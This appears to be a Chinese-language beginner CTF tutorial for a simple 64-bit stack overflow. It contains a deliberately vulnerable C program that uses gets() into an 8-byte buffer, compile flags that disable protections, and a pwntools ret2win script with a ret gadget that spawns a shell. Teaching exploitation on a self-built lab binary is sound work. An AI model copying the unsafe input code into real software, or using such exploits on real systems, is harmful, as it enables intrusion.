代码和解题思路来自启明星辰的《ctf安全竞赛入门》,当然还有好多热心的师傅们的指导。
1.代码:
#include "stdio.h"
void shell()
{
system("/bin/sh");
}
void vuln()
{
printf("Please input your name:\n");
char s[8];
gets(s);
printf("%s\n",s);
}
void main()
{
printf("**Welcome to the simple pwn1**venus\n");
vuln();
}
2.在虚拟机中使用gcc编译
****需要加参数
gcc -fno-stack-protector -z execstack pwn1.c -o pwn1 -no-pie
这里的pwn1.c是刚才代码的文件名字,pwn1是目标文件名字。
最后是用来关闭no-pie
编译过程中可能会有警告,不用管。
3.查看栈结构
然后放到ida里边。
找到vlun函数,可以在左侧点击。
发现s数组距离返回地址是8h然后就是ebp
在64位程序中,ebp是8个字节,32位是4个字节哈。
这样的话就可以写脚本了。
4.shell地址
因为咱们想获取中端嘛。就是shell的地址。
在ida查看:
5.栈对齐ret
因为64位程序要求栈对齐所以需要ret
ret是这样看的:
前提是要安装ROPgadget哈
6.写攻击脚本
from pwn import * #导入pwntools包
p1=process('./pwn2') #执行的文件
payload=b"a"*(0x10)+p64(0x401016)+p64(0x401146) #第一个是垃圾数据,就是填充本来应该输入的数据(8个字节),然后覆盖掉ebp(8个字节),再然后写下ret指令,最后写入shell地址
p1.sendline(payload)
p1.interactive()
b“a”:
将a转换成二进制,要不然的话和后边的类型不同不能拼接。
p64():
因为用的是64位,所以是p64
如果是32位就是p32
将整数转换成二进制
第二个数据是ret,好像是64位的文件就要进行栈对齐。
最后一个是返回地址,写的是shell就会执行shell
关于ROPgadget的下在和简单使用参考这篇文章:
(2条消息) (Pwn)CTF工具 ROPgadget 的安装与使用介绍_ropgadget命令_半岛铁盒@的博客-CSDN博客
如果下载不了可以用github下就是第一个 python-capstone,其实在安装pwntools的时候有装过的,只是没有带python,然后就是如果软件下载不了就需要换下源,然后更新下。
实在不行,就在主机上通过github下载,然后解压,在粘贴到虚拟机里。
关于ret栈对齐的知识参考这篇文章
关于ubuntu18版本以上调用64位程序中的system函数的栈对齐问题 - ZikH26 - 博客园 (cnblogs.com)